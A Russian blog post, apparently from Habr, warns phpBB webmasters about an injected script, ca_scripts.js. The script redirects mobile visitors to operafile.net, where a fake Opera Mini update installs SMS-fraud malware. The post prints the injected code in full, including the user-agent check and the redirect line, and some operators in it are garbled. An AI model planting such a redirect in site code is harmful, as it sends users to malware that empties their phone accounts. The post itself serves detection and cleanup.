Информационная безопасность / Обновление Opera Mini — даже если она у вас не установлена

в 16:19, , рубрики: android, blackberry, opera mini, opera mobile, symbian, вирусы, метки: , , , , ,

Всем привет!
Ваш мобильный друг просит обновить Оперу? Не верьте — это ложь! Будьте внимательны!
Только что наткнулся на уязвимость в PHPBB. Где она кроется не знаю — но вот в чем она заключается. С помощью этой уязвимости, в движок вашего форума заливается или создается скрипт ca_scripts.js, я подозреваю, что называться он может как угодно. Чуть ниже, я его выложу.
Суть его такова, когда пользователь заходит на ваш сайт, скрипт определяет операционную систему, с помощью функции navigator.userAgent.match. Если ваша операционная система подходит под следующий список:android

midp

j2me

symbian

series 60

symbos

windows mobile

windows ce

ppc

smartphone

blackberry

mtk

то он делает перенаправление на operafile.net и дописывает /u/[ID] (видимо ребята статистику ведут). Далее, сформируется предложение об обновление Opera Mini, даже если она у вас не установлена. После того, как вы скачаете обновление, очень похожее на установщик Opera — вы установите себе ПО, которое в фоновом режиме будет отсылать SMS на короткие номера, но не для того что бы вы выиграли Mercedes, а просто чтобы опустошить ваш счет.
Если вы зайдете на сайт operafile.net — то вас перенаправит на google.com.
Для web мастеров. Если вы прочитали этот пост, советую вам в вашем public «грепнуть» найти все скрипты, которые содержат домен operafile.net и другие (пока не знаю какие =) ), не известные вам домены. Либо проанализировать по дате.
Вот сам скриптvar ca_item;
var ca_item2;
var ca_list;
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk)/i)!==null){
window.location = "http://operafile.net/u/1013";
}
onload_functions[onload_functions.length] = 'ca_resize_images();';
// resize images
function ca_resize_images()
{
var i, limit, diff;
limit = 600;
diff = 225;
ca_item = document.getElementById('contentrow');
if(ca_item && ca_item.clientWidth)
{
limit = ca_item.clientWidth - diff;
}
if(limit < 500)
{
limit = 500;
}
if(document.body.clientWidth && document.body.clientWidth 800)
{
limit = document.body.clientWidth - diff;
}
else if(window.innerWidth && window.innerWidth 800)
{
limit = window.innerWidth - diff;
}
/* IE6 limit fix */
if(!window.XMLHttpRequest && limit > 1500)
{
limit = 800;
}
if(ca_main_width && ca_main_width.indexOf('%') == -1)
{
ca_main_width.replace(/px/, '');
if(ca_main_width > 0)
{
limit = ca_main_width - diff;
}
}
if(ca_item)
{
ca_list = ca_item.getElementsByTagName('img');
}
else
{
ca_list = document.getElementsByTagName('img');
}
for(i=0; i limit)
{
if(document.all)
{
ca_item.style.cursor = 'hand';
}
else
{
ca_item.style.cursor = 'pointer';
}
ca_item.style.width = (limit - 50) + 'px';
ca_item.onclick = function() {
window.open(this.src, 'image', 'width=700,height=500,resizable=1,scrollbars=1');
}
}
}
}

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js